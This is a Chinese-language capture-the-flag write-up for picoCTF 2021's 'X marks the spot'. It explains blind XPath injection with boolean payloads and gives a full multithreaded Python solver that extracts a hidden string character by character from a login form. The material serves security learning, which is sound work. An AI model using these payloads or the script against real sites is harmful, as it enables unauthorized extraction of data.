9 min read

picoCTF 2021 X marks the spot

picoCTF 2021 X marks the spot

這題是 picoCTF 2021 的 Web 題:X marks the spot

打開之後很樸素:一個登入頁,兩個欄位,usernamepassword

但頁面上故意寫了一句很可疑的話:

I don't use any of those regular old unsafe query languages!

這句話幾乎是在明示:我不是 SQL,一開始看到登入框,直覺會想丟一個 ' or 1=1--,可是這題真正值得學的地方不是「背一個萬用 payload」,而是要理解:

有些查詢語言不是 SQL,但注入的邏輯一模一樣,網站只肯回你 TRUE/FALSE,一樣能把資料一個字一個字問出來,這題就是 XPath 盲注。

題目資訊

什麼是 XPath Injection

XPath 是拿來查 XML 文件的查詢語言,它跟 SQL 有點像,差別是 SQL 查資料表,XPath 查 XML 節點。

例如:

/root/user[name='admin' and pass='password']

意思大概是:

找到 <root> 底下的 <user>,而且 <name>admin<pass>password

如果後端把使用者輸入直接拼進 XPath,就會出現 XPath injection,它跟 SQLi 的成因其實是同一件事:

使用者可控的字串,被直接拼進查詢語句,改變了查詢的結構

差別只是查詢語言從 SQL 換成 XPath,

Step 1:先觀察登入頁與提示

先把題目給的線索攤開:

  • 一個登入頁,usernamepassword 兩個欄位
  • 提示語:I don't use any of those regular old unsafe query languages!
  • 題名叫 X marks the spot
  • 原始碼註解裡放了一首 Robert Frost 的詩,內文有 road、path 這類字

把這些線索連起來:

不是 SQL(提示語自己說的)
一直暗示 path(題名、詩)
那會不會是 XPath?

這一步還不需要打任何 payload,只是先建立一個假設:這題大概率是 XPath,接下來每一步,都是在驗證或推翻這個假設。

Step 2:確認有沒有布林訊號

這題有趣的地方是,它不是讓我們直接登入成功拿頁面,而是給我們一個布林訊號。

先送一個永遠為真的 payload:

' or '1'='1

網站回:

You're on the right path

再送一個永遠為假的 payload:

' or '1'='2

網站回登入失敗。

同一組輸入、只差一個字元,回應就穩定不同,這代表:我們不一定看得到查詢結果,但可以得到 yes/no,這就是 blind injection 的味道——頁面本身不吐資料,但它會用「兩種不同回應」當作真假的答案。

Step 3:確認 XPath expression 真的被執行

只證明「有真假差異」還不夠,因為那也可能只是密碼錯誤造成的,下一步要證明:我們塞進去的東西真的是被當成 XPath 在算。

測一個一定為真的 XPath 函數:

' or starts-with('abc','a') or '1'='2

回應是 TRUE(right path)。

再測一個一定為假的:

' or starts-with('abc','z') or '1'='2

回應是 FALSE。

starts-with('abc','a')starts-with('abc','z') 差別只在函數結果,而網站的回應跟著函數結果變,這幾乎可以確認:我們塞進去的 XPath expression 真的被後端執行了,到這裡假設就成立了:這是 XPath injection,而且是 blind 的。

Step 4:搞清楚我們到底在問什麼

在自動化之前,先用一個 toy example 把「我們到底怎麼把 flag 問出來」講清楚。

假設後端 XML 長這樣:

<root>
  <user>
    <name>admin</name>
    <pass>secret123</pass>
  </user>
  <flag>picoCTF{hat}</flag>
</root>

後端原本大概是這種查詢:

/root/user[name='admin' and pass='使用者輸入']

正常輸入 abc 會變成:

/root/user[name='admin' and pass='abc']

查不到,所以失敗。

但如果密碼欄輸入:

' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2

後端拼起來會變成類似:

/root/user[name='admin' and pass='' or starts-with(substring-after(string(/*),'picoCTF{'),'h') or '1'='2']

核心是這一段:

starts-with(substring-after(string(/*),'picoCTF{'),'h')

由內往外拆:

string(/*) 會把 XML 根節點底下的文字全部串成一個字串,概念上像:

admin secret123 picoCTF{hat}

substring-after(string(/*),'picoCTF{') 取出 picoCTF{ 後面的內容:

hat}

starts-with('hat}','h') 問這串是不是 h 開頭,答案是 TRUE,

網站不會直接把 hat} 印給我們,但它會透過「right path」或「login failure」告訴我們這個問題的 TRUE/FALSE。

所以我們其實是在玩一個 yes/no 遊戲:

問題 回答 推論
picoCTF{ 後面是不是 a 開頭? FALSE 不是 a
是不是 b 開頭? FALSE 不是 b
是不是 h 開頭? TRUE 第一個字是 h
是不是 ha 開頭? TRUE 第二個字是 a
是不是 hat 開頭? TRUE 第三個字是 t
是不是 hat} 開頭? TRUE 結束

一句話講完:

每次只問一個 yes/no 問題,靠很多次 yes/no 把藏在 XML 裡的文字拼出來。

Step 5:把逐字元改成可平行的問法

Step 4 那種 starts-with(prefix + candidate) 的做法有一個缺點:前後相依。

不知道第一個字,就沒辦法問第二個字
不知道第二個字,就沒辦法問第三個字

只能一位一位往後推,很慢。

換個問法就不一樣了:

substring(flag_body, pos, 1)

它不是問「目前 prefix 對不對」,而是直接問「第 pos 個字元是什麼」,例如:

substring(flag_body, 5, 1)

就是單獨問第 5 個字元,每個位置彼此獨立:

位置 問題
1 第 1 個字元是什麼?
2 第 2 個字元是什麼?
3 第 3 個字元是什麼?
10 第 10 個字元是什麼?

位置獨立,就可以多線程同時問,不用等前一位。

再進一步,每個位置也不用把 95 個 printable ASCII 一個一個試,可以用二分法:

contains('一半候選字元', substring(flag_body, pos, 1))

TRUE 代表該字元在左半邊,FALSE 代表在右半邊,95 個候選字元,大約 7 次查詢就能定位一個字元,到這裡策略就完整了:先問出長度,再對每個位置用二分法找字元,位置之間平行跑。

Step 6:自動化抽取整個 flag

把 Step 5 的策略寫成腳本,它做的事情是:

  1. 先確認 XML 裡有 picoCTF{
  2. substring-before(..., '}') 只抓 {} 中間的內容
  3. 用二分法找每個位置的字元
  4. 用 thread pool 讓不同位置平行查詢
  5. 不在輸出裡保留真實 flag

先設定目標與參數:

BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1

如果伺服器回應不穩,把並行數降低、投票數提高:

WORKERS=6
VOTES=3

腳本:

import os
import time
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

BASE = os.environ["BASE"].rstrip("/")
WORKERS = int(os.environ.get("WORKERS", "8"))
VOTES = int(os.environ.get("VOTES", "1"))
KNOWN = "picoCTF{"
CHARS = ''.join(chr(i) for i in range(32, 127))

_tl = threading.local()

def sess():
    s = getattr(_tl, "s", None)
    if s is None:
        s = requests.Session()
        _tl.s = s
    return s

def lit(s):
    if "'" not in s:
        return "'" + s + "'"
    if '"' not in s:
        return '"' + s + '"'

    parts = []
    for i, p in enumerate(s.split("'")):
        if i:
            parts.append('"\'"')
        if p:
            parts.append("'" + p + "'")
    return "concat(" + ",".join(parts) + ")"

AFTER = f"substring-after(string(/*),{lit(KNOWN)})"
BODY = f"substring-before({AFTER},{lit('}')})"

def one(expr):
    payload = f"' or {expr} or '1'='2"

    for _ in range(3):
        try:
            r = sess().post(
                BASE + "/",
                data={"name": "admin", "pass": payload},
                timeout=10,
            )
            return "right path" in r.text.lower()
        except requests.RequestException:
            time.sleep(0.25)

    raise RuntimeError("request failed")

def oracle(expr, votes=None):
    votes = votes or VOTES
    yes = 0

    for _ in range(votes):
        yes += one(expr)
        time.sleep(0.02)

    return yes >= (votes // 2 + 1)

def length_ge(n):
    return oracle(f"string-length({BODY})>={n}")

def get_length():
    if not oracle(f"contains(string(/*),{lit(KNOWN)})", votes=3):
        raise SystemExit("[!] cannot confirm picoCTF{")

    if not oracle(f"contains({AFTER},{lit('}')})", votes=3):
        raise SystemExit("[!] cannot confirm closing }")

    lo, hi = 0, 1

    while length_ge(hi):
        lo, hi = hi, hi * 2
        if hi > 256:
            raise SystemExit("[!] length too large, check target/noise")

    while hi - lo > 1:
        mid = (lo + hi) // 2
        if length_ge(mid):
            lo = mid
        else:
            hi = mid

    return lo

def char_expr(pos):
    return f"substring({BODY},{pos},1)"

def char_at(pos):
    pool = CHARS

    while len(pool) > 1:
        mid = len(pool) // 2
        left = pool[:mid]

        if oracle(f"contains({lit(left)},{char_expr(pos)})"):
            pool = left
        else:
            pool = pool[mid:]

    c = pool[0]

    if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
        return c

    for c in CHARS:
        if oracle(f"{char_expr(pos)}={lit(c)}", votes=3):
            return c

    return None

print("[+] probing body length...", flush=True)
L = get_length()
print(f"[+] body length = {L}", flush=True)

result = [None] * (L + 1)

with ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = {
        ex.submit(char_at, pos): pos
        for pos in range(1, L + 1)
    }

    for fut in as_completed(futs):
        pos = futs[fut]

        try:
            result[pos] = fut.result()
        except Exception as e:
            print(f"[!] pos {pos} error: {e}", flush=True)

        print(f"[.] pos {pos:>2}/{L} = {result[pos]!r}", flush=True)

missing = [
    i for i in range(1, L + 1)
    if result[i] is None
]

if missing:
    print("[!] retry missing positions sequentially:", missing, flush=True)

    for pos in missing:
        result[pos] = char_at(pos)
        print(f"[.] retry pos {pos:>2}/{L} = {result[pos]!r}", flush=True)

body = ''.join(result[i] or '?' for i in range(1, L + 1))
print("[+] flag:", KNOWN + body + "}", flush=True)

if "?" in body:
    print("[!] still has ?. Try WORKERS=6 VOTES=3", flush=True)

執行方式:

BASE='http://wily-courier.picoctf.net:XXXXX'
WORKERS=8
VOTES=1

BASE="$BASE" WORKERS="$WORKERS" VOTES="$VOTES" python3 solver.py

跑完就會把 flag 一個位置一個位置拼出來,如果輸出裡還有 ?,代表某些位置在雜訊下沒問穩定,照提示改成 WORKERS=6 VOTES=3 再跑一次。

學習重點

這題最值得帶走的不是 XPath 語法,而是這個思考方式:

你是不是 XPath?
你會不會給我穩定的真假?
我塞的函數你有沒有真的算?
我能不能逐字元問?
我能不能不照順序問、還能平行問?

以後看到只回真假的功能時,可以特別注意:

  • 登入、搜尋、篩選這種功能,背後是不是用 XML+XPath?
  • 頁面提示「不用 SQL」、「query language」、「path」、「XML」、「document」時,是不是在暗示查詢語言?
  • 就算沒有 error 訊息,只要回應有穩定的兩種狀態,就可能是一條盲注通道。